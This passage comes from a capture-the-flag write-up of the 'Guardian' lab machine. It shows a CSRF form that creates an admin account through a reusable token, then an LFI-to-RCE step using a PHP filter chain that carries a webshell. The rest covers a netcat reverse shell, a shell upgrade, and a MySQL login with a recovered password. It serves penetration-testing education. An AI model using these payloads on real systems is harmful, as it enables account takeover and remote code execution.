    <span class="nv">$tokens</span> <span class="o">=</span> <span class="nf">get_token_pool</span><span class="p">();</span>
    <span class="k">return</span> <span class="nb">in_array</span><span class="p">(</span><span class="nv">$token</span><span class="p">,</span> <span class="nv">$tokens</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>It’s keeping a global list of tokens, and each time <code class="language-plaintext highlighter-rouge">add_token_to_pool</code> is called, it adds to that list. <code class="language-plaintext highlighter-rouge">is_valid_token</code> checks if the current token is in that list, but the list is never cleared or items never removed. That means if I can learn one CSRF token, I should be able to use it over and over.</p>

<p><code class="language-plaintext highlighter-rouge">add_token_to_pool</code> is called at the top of <code class="language-plaintext highlighter-rouge">lecturer/notices/create.php</code>:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$token</span> <span class="o">=</span> <span class="nb">bin2hex</span><span class="p">(</span><span class="nb">random_bytes</span><span class="p">(</span><span class="mi">16</span><span class="p">));</span>
<span class="nf">add_token_to_pool</span><span class="p">(</span><span class="nv">$token</span><span class="p">);</span>
</code></pre></div></div>

<p>So as lecturer, I can grab a CSRF token and use it in the admin CSRF attack.</p>

<h4 id="create-payload">Create Payload</h4>

<p>I’ll head back to my request to create a notice:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/lecturer/notices/create.php</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">portal.guardian.htb</span>
<span class="na">User-Agent</span><span class="p">:</span> <span class="s">Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0</span>
<span class="na">Accept</span><span class="p">:</span> <span class="s">text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span>
<span class="na">Accept-Language</span><span class="p">:</span> <span class="s">en-US,en;q=0.9</span>
<span class="na">Accept-Encoding</span><span class="p">:</span> <span class="s">gzip, deflate, br</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/x-www-form-urlencoded</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">134</span>
<span class="na">Origin</span><span class="p">:</span> <span class="s">http://portal.guardian.htb</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span>
<span class="na">Referer</span><span class="p">:</span> <span class="s">http://portal.guardian.htb/lecturer/notices/create.php</span>
<span class="na">Cookie</span><span class="p">:</span> <span class="s">PHPSESSID=7v229pqv85nqobn4rt5phtpmo9</span>
<span class="na">Upgrade-Insecure-Requests</span><span class="p">:</span> <span class="s">1</span>
<span class="na">Priority</span><span class="p">:</span> <span class="s">u=0, i</span>

title=asdasd&amp;content=asdasd&amp;reference_link=http%3A%2F%2F10.10.14.60%2Fcsrf_createuser.html&amp;csrf_token=aa760196c89548022e12266fc3cc7f04
</code></pre></div></div>

<p>The CSRF token there should still work. I’ll create an HTML page with a form that sends a POST to <code class="language-plaintext highlighter-rouge">portal.guardian.htb/admin/createuser.php</code>:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;html&gt;</span>
<span class="nt">&lt;body&gt;</span>
<span class="nt">&lt;form</span> <span class="na">id=</span><span class="s">"csrf"</span> <span class="na">method=</span><span class="s">"POST"</span> <span class="na">action=</span><span class="s">"http://portal.guardian.htb/admin/createuser.php"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"username"</span> <span class="na">value=</span><span class="s">"oxdf2"</span> <span class="nt">/&gt;</span>
  <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"password"</span> <span class="na">value=</span><span class="s">"oxdf1234"</span> <span class="nt">/&gt;</span>
  <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"full_name"</span> <span class="na">value=</span><span class="s">"oxdf hacker"</span> <span class="nt">/&gt;</span>
  <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"email"</span> <span class="na">value=</span><span class="s">"oxdf@guardian.htb"</span> <span class="nt">/&gt;</span>
  <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"dob"</span> <span class="na">value=</span><span class="s">"1990-01-01"</span> <span class="nt">/&gt;</span>
  <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"address"</span> <span class="na">value=</span><span class="s">"123 Hack Street"</span> <span class="nt">/&gt;</span>
  <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"user_role"</span> <span class="na">value=</span><span class="s">"admin"</span> <span class="nt">/&gt;</span>
  <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"csrf_token"</span> <span class="na">value=</span><span class="s">"aa760196c89548022e12266fc3cc7f04"</span> <span class="nt">/&gt;</span>
<span class="nt">&lt;/form&gt;</span>
<span class="nt">&lt;script&gt;</span><span class="nb">document</span><span class="p">.</span><span class="nf">getElementById</span><span class="p">(</span><span class="dl">'</span><span class="s1">csrf</span><span class="dl">'</span><span class="p">).</span><span class="nf">submit</span><span class="p">();</span><span class="nt">&lt;/script&gt;</span>
<span class="nt">&lt;/body&gt;</span>
<span class="nt">&lt;/html&gt;</span>
</code></pre></div></div>

<p>When the page loads, the script will run, and send that POST request. So if I can get the admin to load this page, they will create a user in the user oxdf in the admin role. A few seconds after sending the notice, I’ll get a hit:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">10.129.237.248 - - [25/Feb/2026 00:47:44] "GET /csrf_createuser.html HTTP/1.1" 200 -
</span></code></pre></div></div>

<p>And then I can log in as oxdf and get an admin dashboard:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260224194900591.webp" />
    <img loading="lazy" src="/img/image-20260224194900591.png" alt="image-20260224194900591" class="include_image " />
</picture>

<h3 id="rce">RCE</h3>

<h4 id="enumeration">Enumeration</h4>

<p>As Admin, the new addition to the menu bar is the “Reports” tab.</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260224212234696.webp" />
    <img loading="lazy" src="/img/image-20260224212234696.png" alt="image-20260224212234696" class="include_image " />
</picture>

<p>Clicking on any of the four reports loads a URL of the format <code class="language-plaintext highlighter-rouge">http://portal.guardian.htb/admin/reports.php?report=reports/enrollment.php</code>. The included pages are the <code class="language-plaintext highlighter-rouge">reports</code> files I found during enumeration <a href="#directory-brute-force-1">earlier</a>.</p>

<h4 id="local-file-include">Local File Include</h4>

<p>This is a classic (if not outdated) local file include (LFI). The source code shows what’s happening:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$report</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'report'</span><span class="p">]</span> <span class="o">??</span> <span class="s1">'reports/academic.php'</span><span class="p">;</span>

<span class="k">if</span> <span class="p">(</span><span class="nb">strpos</span><span class="p">(</span><span class="nv">$report</span><span class="p">,</span> <span class="s1">'..'</span><span class="p">)</span> <span class="o">!==</span> <span class="kc">false</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">die</span><span class="p">(</span><span class="s2">"&lt;h2&gt;Malicious request blocked 🚫 &lt;/h2&gt;"</span><span class="p">);</span>
<span class="p">}</span>   

<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">preg_match</span><span class="p">(</span><span class="s1">'/^(.*(enrollment|academic|financial|system)\.php)$/'</span><span class="p">,</span> <span class="nv">$report</span><span class="p">))</span> <span class="p">{</span>
    <span class="k">die</span><span class="p">(</span><span class="s2">"&lt;h2&gt;Access denied. Invalid file 🚫&lt;/h2&gt;"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">$report</code> is set as whatever is in the request or <code class="language-plaintext highlighter-rouge">reports/academic.php</code> if nothing is provided. It checks for <code class="language-plaintext highlighter-rouge">..</code> and that the included file ends with one of the four report files. Later on the page it uses <code class="language-plaintext highlighter-rouge">include</code> to load the file:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="k">include</span><span class="p">(</span><span class="nv">$report</span><span class="p">);</span> <span class="cp">?&gt;</span>
</code></pre></div></div>

<p>If PHP is configured to allow for remote file inclusion, I could pass something like <code class="language-plaintext highlighter-rouge">http://10.10.14.60/system.php</code> in and it would load from my host. That doesn’t work here.</p>

<p>Instead I’ll use the <a href="https://github.com/synacktiv/php_filter_chain_generator">php_filter_chain_generator</a> from Synactiv. I’ve shown this multiple times before. In <a href="/2023/01/21/htb-updown.html#beyond-root---lfi2rce-via-php-filters">UpDown</a> I did a Beyond Root section on this technique when it was new and created a <a href="https://www.youtube.com/watch?v=TnLELBtmZ24">YouTube video</a> explaining it:</p>

<iframe width="560" height="315" src="https://www.youtube.com/embed/TnLELBtmZ24?si=Xhubj6D7cFSTPLre" title="YouTube video player" style="border: 0px;" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe>

<p>I’ve also shown it in <a href="/2023/04/15/htb-encoding.html#lfi---rce">Encoding</a>, <a href="/2023/07/01/htb-pollution.html#rce-via-filter-injection">Pollution</a>, and <a href="/2025/05/31/htb-checker.html#filter-chains-oracle-poc">Checker</a>.</p>

<p>I’ll use the Synacktiv tool to generate a POC chain:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>uv run php_filter_chain_generator.py <span class="nt">--chain</span> <span class="s1">'&lt;?php phpinfo(); ?&gt;'</span>
<span class="go">[+] The following gadget chain will generate the following code : &lt;?php phpinfo(); ?&gt; (base64 value: PD9waHAgcGhwaW5mbygpOyA/Pg)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
</span></code></pre></div></div>

<p>To pass the restrictions, I’ll replace the <code class="language-plaintext highlighter-rouge">php://temp</code> with <code class="language-plaintext highlighter-rouge">reports/enrollment.php</code>, and load the URL:</p>

<p>It works:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260225065433102.webp" />
    <img loading="lazy" src="/img/image-20260225065433102.png" alt="image-20260225065433102" class="include_image " />
</picture>

<p>The injected PHP is run. The results also confirm that remote includes are disabled:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260225065524602.webp" />
    <img loading="lazy" src="/img/image-20260225065524602.png" alt="image-20260225065524602" class="include_image " />
</picture>

<p>I’ll create a new chain with a webshell:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>uv run php_filter_chain_generator.py <span class="nt">--chain</span> <span class="s1">'&lt;?php system($_GET["cmd"]); ?&gt;'</span>
<span class="go">[+] The following gadget chain will generate the following code : &lt;?php system($_GET["cmd"]); ?&gt; (base64 value: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
</span></code></pre></div></div>

<p>Now my URL will be:</p>

<div class="language-plaintext wrapall highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://portal.guardian.htb/admin/reports.php?cmd=id&amp;report=php://filter...[snip].../resource=reports/enrollment.php
</code></pre></div></div>

<p>It works:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260225065732484.webp" />
    <img loading="lazy" src="/img/image-20260225065732484.png" alt="image-20260225065732484" class="include_image " />
</picture>

<p>To get a shell, I’ll update the URL with a <a href="https://www.youtube.com/watch?v=OjkVep2EIlw">bash reverse shell</a>, and catch it at <code class="language-plaintext highlighter-rouge">nc</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>nc <span class="nt">-lnvp</span> 443
<span class="go">Listening on 0.0.0.0 443
Connection received on 10.129.237.248 46204
bash: cannot set terminal process group (1139): Inappropriate ioctl for device
bash: no job control in this shell
</span><span class="gp">www-data@guardian:~/portal.guardian.htb/admin$</span><span class="w">
</span></code></pre></div></div>

<p>I’ll upgrade my shell using the <a href="https://www.youtube.com/watch?v=DqE6DxqJg8Q">standard trick</a>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@guardian:~$</span><span class="w"> </span>script /dev/null <span class="nt">-c</span> bash
<span class="go">Script started, output log file is '/dev/null'.
</span><span class="gp">www-data@guardian:~$</span><span class="w"> </span>^Z
<span class="go">[1]+  Stopped                 nc -lnvp 443
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">stty </span>raw <span class="nt">-echo</span><span class="p">;</span> <span class="nb">fg</span>
<span class="go">nc -lnvp 443
</span><span class="gp">            ‍</span>reset
<span class="go">reset: unknown terminal type unknown
Terminal type? screen
</span><span class="gp">www-data@guardian:~$</span><span class="w"> 
</span></code></pre></div></div>

<h2 id="shell-as-jamil">Shell as jamil</h2>

<h3 id="enumeration-1">Enumeration</h3>

<h4 id="users">Users</h4>

<p><code class="language-plaintext highlighter-rouge">/home</code> has four user’s home directories:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@guardian:/home$</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">gitea  jamil  mark  sammy
</span></code></pre></div></div>

<p>www-data can’t access any of them. This matches the users with shells configured in <code class="language-plaintext highlighter-rouge">passwd</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@guardian:/home$</span><span class="w"> </span><span class="nb">cat</span> /etc/passwd | <span class="nb">grep</span> <span class="s1">'sh$'</span>
<span class="go">root:x:0:0:root:/root:/bin/bash
jamil:x:1000:1000:guardian:/home/jamil:/bin/bash
mark:x:1001:1001:ls,,,:/home/mark:/bin/bash
gitea:x:116:123:Git Version Control,,,:/home/gitea:/bin/bash
sammy:x:1002:1003::/home/sammy:/bin/bash
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">sudo</code> requires a password to even list permissions, and I wouldn’t expect www-data to have sudo permissions unless the website was doing something that specifically used them.</p>

<h4 id="web">Web</h4>

<p>The www-data user’s home directory is <code class="language-plaintext highlighter-rouge">/var/www</code>, which has three directories:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@guardian:~$</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">guardian.htb  html  portal.guardian.htb
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">html</code> is empty. Otherwise, the source looks very much like what I retrieved from Gitea.</p>

<p>I can connect to the database using the creds <a href="#source-code-overview">found in the source</a>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">www-data@guardian:~$</span><span class="w"> </span>mysql <span class="nt">-u</span> root <span class="nt">-p</span><span class="s1">'Gu4rd14n_un1_1s_th3_b3st'</span> guardiandb
<span class="go">mysql: [Warning] Using a password on the command line interface can be insecure.
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 3996
Server version: 8.0.43-0ubuntu0.22.04.1 (Ubuntu)

Copyright (c) 2000, 2025, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

</span><span class="gp">mysql&gt;</span><span class="w">
</span></code></pre></div></div>

<p>There are nine tables:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">mysql&gt; </span><span class="k">show</span> <span class="n">tables</span><span class="p">;</span>
<span class="go">+----------------------+
| Tables_in_guardiandb |
+----------------------+
| assignments          |
| courses              |
| enrollments          |
| grades               |
| messages             |
| notices              |
| programs             |
| submissions          |
| users                |
+----------------------+
9 rows in set (0.00 sec)
</span></code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">users</code> table is the most interesting at this point:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">mysql&gt; </span><span class="k">describe</span> <span class="n">users</span><span class="p">;</span>
<span class="go">+---------------+------------------------------------+------+-----+-------------------+-----------------------------------------------+
| Field         | Type                               | Null | Key | Default           | Extra                                         |
+---------------+------------------------------------+------+-----+-------------------+-----------------------------------------------+
| user_id       | int                                | NO   | PRI | NULL              | auto_increment                                |
| username      | varchar(255)                       | YES  | UNI | NULL              |                                               |
| password_hash | varchar(255)                       | YES  |     | NULL              |                                               |
| full_name     | varchar(255)                       | YES  |     | NULL              |                                               |
| email         | varchar(255)                       | YES  |     | NULL              |                                               |
| dob           | date                               | YES  |     | NULL              |                                               |
| address       | text                               | YES  |     | NULL              |                                               |
| user_role     | enum('student','lecturer','admin') | YES  |     | student           |                                               |
| status        | enum('active','inactive')          | YES  |     | active            |                                               |
| created_at    | timestamp                          | YES  |     | CURRENT_TIMESTAMP | DEFAULT_GENERATED                             |
| updated_at    | timestamp                          | YES  |     | CURRENT_TIMESTAMP | DEFAULT_GENERATED on update CURRENT_TIMESTAMP |
+---------------+------------------------------------+------+-----+-------------------+-----------------------------------------------+
11 rows in set (0.00 sec)
</span></code></pre></div></div>

<p>There are 63 users!</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">mysql&gt; </span><span class="k">select</span> <span class="o">*</span> <span class="k">from</span> <span class="n">users</span><span class="p">;</span>
